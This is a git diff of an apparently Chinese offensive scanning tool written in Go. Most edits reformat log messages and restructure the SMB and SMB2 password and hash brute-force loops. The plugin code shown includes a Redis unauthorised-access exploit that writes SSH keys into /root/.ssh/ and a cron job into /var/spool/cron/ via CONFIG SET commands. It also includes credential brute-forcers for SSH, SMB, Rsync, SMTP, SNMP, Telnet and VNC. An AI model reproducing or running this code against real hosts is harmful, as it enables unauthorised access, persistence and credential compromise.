defer conn.Close() // 设置读取超时 if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err)) return flag, err } // 发送info命令测试未授权访问 _, err = conn.Write([]byte("info\r\n")) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err)) return flag, err } // 读取响应 reply, err := readreply(conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err)) return flag, err } @@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { // 获取Redis配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) + result := fmt.Sprintf("Redis %s 发现未授权访问", realhost) Common.LogSuccess(result) return flag, err } // 输出详细信息 - result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) + result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) Common.LogSuccess(result) // 尝试漏洞利用 err = Expoilt(realhost, conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err)) } } @@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error { // 测试目录写入权限 flagSsh, flagCron, err := testwrite(conn) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err)) return err } // SSH密钥写入测试 if flagSsh { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost)) // 如果指定了密钥文件则尝试写入 if Common.RedisFile != "" { writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) + Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) return err } if writeok { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost)) } else { - Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) + Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text)) } } } // 定时任务写入测试 if flagCron { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost)) // 如果指定了shell命令则尝试写入定时任务 if Common.RedisShell != "" { writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err)) return err } if writeok { - Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) + Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost)) } else { - Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) + Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text)) } } } // 恢复数据库配置 if err = recoverdb(dbfilename, dir, conn); err != nil { - Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err)) } return err @@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error // 读取密钥文件 key, err := Readfile(filename) if err != nil { - text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) + text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err) return flag, text, err } if len(key) == 0 { - text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) + text = fmt.Sprintf("密钥文件 %s 为空", filename) return flag, text, err } @@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { // 解析目标主机地址 target := strings.Split(host, ":") if len(target) < 2 { - return flag, "[-] 主机地址格式错误", err + return flag, "主机地址格式错误", err } scanIp, scanPort := target[0], target[1] @@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { - fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err) + fmt.Printf("发送SSH目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err := readreply(conn) if err != nil { - fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err) + fmt.Printf("读取SSH目录测试响应失败: %v\n", err) return flag, flagCron, err } fmt.Printf("[*] SSH目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flag = true - fmt.Println("[+] SSH目录写入权限测试成功") + fmt.Println("SSH目录写入权限测试成功") } else { - fmt.Println("[-] SSH目录写入权限测试失败") + fmt.Println("SSH目录写入权限测试失败") } // 测试定时任务目录写入权限 fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { - fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err) + fmt.Printf("发送定时任务目录测试命令失败: %v\n", err) return flag, flagCron, err } text, err = readreply(conn) if err != nil { - fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err) + fmt.Printf("读取定时任务目录测试响应失败: %v\n", err) return flag, flagCron, err } fmt.Printf("[*] 定时任务目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flagCron = true - fmt.Println("[+] 定时任务目录写入权限测试成功") + fmt.Println("定时任务目录写入权限测试成功") } else { - fmt.Println("[-] 定时任务目录写入权限测试失败") + fmt.Println("定时任务目录写入权限测试失败") } fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go index 582c5d2..1de3010 100644 --- a/Plugins/Rsync.go +++ b/Plugins/Rsync.go @@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { if strings.Contains(authResponse, "@RSYNCD: OK") { // 模块不需要认证 if user == "" && pass == "" { - result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) + result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) Common.LogSuccess(result) return true, nil } @@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { } if !strings.Contains(string(buffer[:n]), "@ERROR") { - result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", + result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", host, port, moduleName, user, pass) Common.LogSuccess(result) return true, nil diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 049dbbe..2323d45 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { } threads := Common.BruteThreads - totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords) - - taskChan := make(chan struct { - user string - pass string - }, totalTasks) - - // 生成任务 - for _, user := range Common.Userdict["smb"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - var wg sync.WaitGroup successChan := make(chan struct{}, 1) - // 启动工作线程 - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for task := range taskChan { - select { - case <-successChan: - return - default: - } + // 按用户分组处理 + for _, user := range Common.Userdict["smb"] { + taskChan := make(chan string, len(Common.Passwords)) - success, err := doWithTimeOut(info, task.user, task.pass) - if success { - if Common.Domain != "" { - Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", - info.Host, info.Ports, Common.Domain, task.user, task.pass)) - } else { - Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, task.user, task.pass)) + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- pass + } + close(taskChan) + + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + for pass := range taskChan { + select { + case <-successChan: + return + default: + } + + success, err := doWithTimeOut(info, username, pass) + if success { + if Common.Domain != "" { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s", + info.Host, info.Ports, Common.Domain, username, pass)) + } else { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s", + info.Host, info.Ports, username, pass)) + } + successChan <- struct{}{} + + // 成功后等待确保日志打印完成 + time.Sleep(500 * time.Millisecond) + return + } + + if err != nil { + Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v", + info.Host, info.Ports, username, pass, err)) + + // 等待失败日志打印完成 + time.Sleep(100 * time.Millisecond) + + if strings.Contains(err.Error(), "账号锁定") { + for range taskChan { + // 清空通道 + } + time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成 + return + } } - successChan <- struct{}{} - return } - if err != nil { - Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, task.user, task.pass, err)) - } - } - }() + }(user) + } + + wg.Wait() + + select { + case <-successChan: + // 等待日志打印完成 + time.Sleep(500 * time.Millisecond) + Common.LogWG.Wait() + return nil + default: + } } - wg.Wait() + // 主函数结束前多等待一会 + time.Sleep(500 * time.Millisecond) + Common.LogWG.Wait() + // 最后再等待一下,确保所有日志都打印完成 + time.Sleep(500 * time.Millisecond) return nil } func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { - flag = false - options := smb.Options{ Host: info.Host, Port: 445, @@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc if err == nil { defer session.Close() if session.IsAuthenticated { - flag = true - return flag, nil + return true, nil } - return flag, fmt.Errorf("认证失败") + return false, fmt.Errorf("认证失败") } // 清理错误信息中的换行符和多余空格 @@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc if strings.Contains(errMsg, "NT Status Error") { switch { case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"): - err = fmt.Errorf("用户名或密码错误") + err = fmt.Errorf("密码错误") case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"): - err = fmt.Errorf("账号已锁定") + err = fmt.Errorf("账号锁定") case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"): - err = fmt.Errorf("访问被拒绝") + err = fmt.Errorf("拒绝访问") case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"): - err = fmt.Errorf("账号已禁用") + err = fmt.Errorf("账号禁用") case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"): - err = fmt.Errorf("密码已过期") + err = fmt.Errorf("密码过期") case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"): - return flag, fmt.Errorf("会话已断开") + return false, fmt.Errorf("会话断开") default: - err = fmt.Errorf("认证失败") // 简化错误信息 + err = fmt.Errorf("认证失败") } } signal <- struct{}{} - return flag, err + return false, err } func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { @@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, case r := <-result: return r.success, r.err case <-time.After(time.Duration(Common.Timeout) * time.Second): - // 尝试从result通道读取,避免协程泄露 select { case r := <-result: return r.success, r.err diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index c133a52..2fccf2f 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) { return smbPasswordScan(info) } -// smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *Common.HostInfo) error { - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - hasprint := false - - // 创建任务通道 - taskChan := make(chan struct { - user string - hash []byte - }, len(Common.Userdict["smb"])*len(Common.HashBytes)) - - resultChan := make(chan error, threads) - - // 生成所有用户名和哈希组合任务 - for _, user := range Common.Userdict["smb"] { - for _, hash := range Common.HashBytes { - taskChan <- struct { - user string - hash []byte - }{user, hash} - } +// smbPasswordScan 使用密码进行认证扫描 +func smbPasswordScan(info *Common.HostInfo) error { + if Common.DisableBrute { + return nil } - close(taskChan) - // 启动工作线程 + threads := Common.BruteThreads + var wg sync.WaitGroup + successChan := make(chan struct{}, 1) + hasprint := false var hasPrintMutex sync.Mutex - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - startTime := time.Now().Unix() + // 改成按用户分组处理 + for _, user := range Common.Userdict["smb"] { + // 为每个用户创建密码任务通道 + taskChan := make(chan string, len(Common.Passwords)) - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-startTime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") + // 生成该用户的所有密码任务 + for _, pass := range Common.Passwords { + pass = strings.ReplaceAll(pass, "{user}", user) + taskChan <- pass + } + close(taskChan) + + // 启动工作线程 + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + + for pass := range taskChan { + select { + case <-successChan: return + default: + time.Sleep(100 * time.Millisecond) } - // 执行SMB2认证 - done := make(chan struct { - success bool - err error - printed bool - }) - - go func(user string, hash []byte) { + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { hasPrintMutex.Lock() currentHasPrint := hasprint hasPrintMutex.Unlock() - success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint) + success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint) if printed { hasPrintMutex.Lock() hasprint = true hasPrintMutex.Unlock() + time.Sleep(100 * time.Millisecond) } - done <- struct { - success bool - err error - printed bool - }{success, err, printed} - }(task.user, task.hash) - - // 等待结果或超时 - select { - case result := <-done: - if result.success { - logSuccessfulAuth(info, task.user, "", task.hash) - resultChan <- nil + if success { + logSuccessfulAuth(info, username, pass, []byte{}) + time.Sleep(100 * time.Millisecond) + successChan <- struct{}{} return } - if result.err != nil { - logFailedAuth(info, task.user, "", task.hash, result.err) + if err != nil { + logFailedAuth(info, username, pass, []byte{}, err) + time.Sleep(100 * time.Millisecond) - // 检查是否需要重试 - if retryErr := Common.CheckErrs(result.err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- result.err - return + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 发现账户锁定,清空任务通道并返回 + for range taskChan { + // 清空通道 } - continue // 继续重试 + return + } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+2)) + continue } } - - case <-time.After(time.Duration(Common.Timeout) * time.Second): - logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时")) + break } - - break // 如果不需要重试,跳出重试循环 } + }(user) + } - if len(Common.HashValue) > 0 { - break - } - } - resultChan <- nil - }() - } + wg.Wait() // 等待当前用户的所有密码尝试完成 - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + // 检查是否已经找到正确密码 + select { + case <-successChan: + return nil + default: } } + time.Sleep(200 * time.Millisecond) return nil } -// smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *Common.HostInfo) error { - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - hasprint := false - - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["smb"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["smb"] { - for _, pass := range Common.Passwords { - pass = strings.ReplaceAll(pass, "{user}", user) - taskChan <- struct { - user string - pass string - }{user, pass} - } +func smbHashScan(info *Common.HostInfo) error { + if Common.DisableBrute { + return nil } - close(taskChan) - // 启动工作线程 + threads := Common.BruteThreads var wg sync.WaitGroup + successChan := make(chan struct{}, 1) + hasprint := false var hasPrintMutex sync.Mutex - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - startTime := time.Now().Unix() + // 按用户分组处理 + for _, user := range Common.Userdict["smb"] { + // 为每个用户创建hash任务通道 + taskChan := make(chan []byte, len(Common.HashBytes)) - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-startTime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") + // 生成该用户的所有hash任务 + for _, hash := range Common.HashBytes { + taskChan <- hash + } + close(taskChan) + + // 启动工作线程 + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + + for hash := range taskChan { + select { + case <-successChan: return + default: } - // 执行SMB2认证 - done := make(chan struct { - success bool - err error - printed bool - }) - - go func(user, pass string) { + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { hasPrintMutex.Lock() currentHasPrint := hasprint hasPrintMutex.Unlock() - success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint) + success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint) if printed { hasPrintMutex.Lock() @@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error { hasPrintMutex.Unlock() } - done <- struct { - success bool - err error - printed bool - }{success, err, printed} - }(task.user, task.pass) - - // 等待结果或超时 - select { - case result := <-done: - if result.success { - logSuccessfulAuth(info, task.user, task.pass, []byte{}) - resultChan <- nil + if success { + logSuccessfulAuth(info, username, "", hash) + successChan <- struct{}{} return } - if result.err != nil { - logFailedAuth(info, task.user, task.pass, []byte{}, result.err) + if err != nil { + logFailedAuth(info, username, "", hash, err) - // 检查是否需要重试 - if retryErr := Common.CheckErrs(result.err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- result.err - return + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 发现账户锁定,清空任务通道并返回 + for range taskChan { + // 清空通道 } - continue // 继续重试 + return + } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+1)) + continue } } - - case <-time.After(time.Duration(Common.Timeout) * time.Second): - logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时")) + break } - - break // 如果不需要重试,跳出重试循环 } + }(user) + } - if len(Common.HashValue) > 0 { - break - } - } - resultChan <- nil - }() - } + wg.Wait() // 等待当前用户的所有hash尝试完成 - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + // 检查是否已经找到正确凭据 + select { + case <-successChan: + return nil + default: } } @@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error { func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { var result string if Common.Domain != "" { - result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ", + result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) } else { - result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ", + result = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user) } if len(hash) > 0 { - result += fmt.Sprintf("HashValue:%v", Common.HashValue) + result += fmt.Sprintf(" Hash:%s", Common.HashValue) } else { - result += fmt.Sprintf("Pass:%v", pass) + result += fmt.Sprintf(" Pass:%s", pass) } Common.LogSuccess(result) } @@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { - errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", + errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v", info.Host, info.Ports, user, Common.HashValue, err) } else { - errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v", info.Host, info.Ports, user, pass, err) } errlog = strings.ReplaceAll(errlog, "\n", " ") @@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr // logShareInfo 记录SMB共享信息 func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { var result string - - // 构建基础信息 if Common.Domain != "" { - result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", + result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) } else { - result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", + result = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user) } - // 添加认证信息 if len(hash) > 0 { - result += fmt.Sprintf("HashValue:%v ", Common.HashValue) + result += fmt.Sprintf(" Hash:%s", Common.HashValue) } else { - result += fmt.Sprintf("Pass:%v ", pass) + result += fmt.Sprintf(" Pass:%s", pass) } - // 添加共享列表 - result += fmt.Sprintf("可用共享: %v", shares) - Common.LogSuccess(result) + result += fmt.Sprintf(" 共享:%v", shares) + Common.LogInfo(result) } diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go index 5ed3ec1..9b332ac 100644 --- a/Plugins/SMTP.go +++ b/Plugins/SMTP.go @@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 如果成功 - result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port) + result := fmt.Sprintf("SMTP服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go index 80a3ec2..4d46adb 100644 --- a/Plugins/SNMP.go +++ b/Plugins/SNMP.go @@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功", + successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功", info.Host, info.Ports, community) Common.LogSuccess(successLog) resultChan <- nil @@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", + errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", info.Host, info.Ports, community, err) Common.LogError(errlog) @@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er } if len(result.Variables) > 0 { - success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v", + success := fmt.Sprintf("SNMP服务 %v:%v community: %v", host, portNum, community) // 使用portNum替换port if result.Variables[0].Type != gosnmp.NoSuchObject { diff --git a/Plugins/SSH.go b/Plugins/SSH.go index b305d53..ecf0df9 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er if Common.SshKeyPath != "" { pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) if err != nil { - return false, fmt.Errorf("[-] 读取密钥失败: %v", err) + return false, fmt.Errorf("读取密钥失败: %v", err) } signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, fmt.Errorf("[-] 解析密钥失败: %v", err) + return false, fmt.Errorf("解析密钥失败: %v", err) } auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { @@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er return true, err } if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v", info.Host, info.Ports, string(output))) } else { - Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", info.Host, info.Ports, user, pass, string(output))) } } else { if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", + Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v", info.Host, info.Ports)) } else { - Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", + Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v", info.Host, info.Ports, user, pass)) } } diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go index 5f6a9ed..8404729 100644 --- a/Plugins/Telnet.go +++ b/Plugins/Telnet.go @@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.noAuth { // 无需认证 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", + result := fmt.Sprintf("Telnet服务 %v:%v 无需认证", info.Host, info.Ports) Common.LogSuccess(result) resultChan <- nil return } else if result.success { // 成功爆破 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", + result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(result) resultChan <- nil @@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", + errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/VNC.go b/Plugins/VNC.go index ae71d74..70d5101 100644 --- a/Plugins/VNC.go +++ b/Plugins/VNC.go @@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v", + successLog := fmt.Sprintf("%s://%v:%v 密码: %v", modename, info.Host, info.Ports, pass) Common.LogSuccess(successLog) resultChan <- nil @@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", + errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v", modename, info.Host, info.Ports, pass, err) Common.LogError(errlog) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9719a23..4abdcbb 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error { if !Common.DisablePoc && err == nil { WebScan.WebScan(info) } else { - errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err) + errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err) 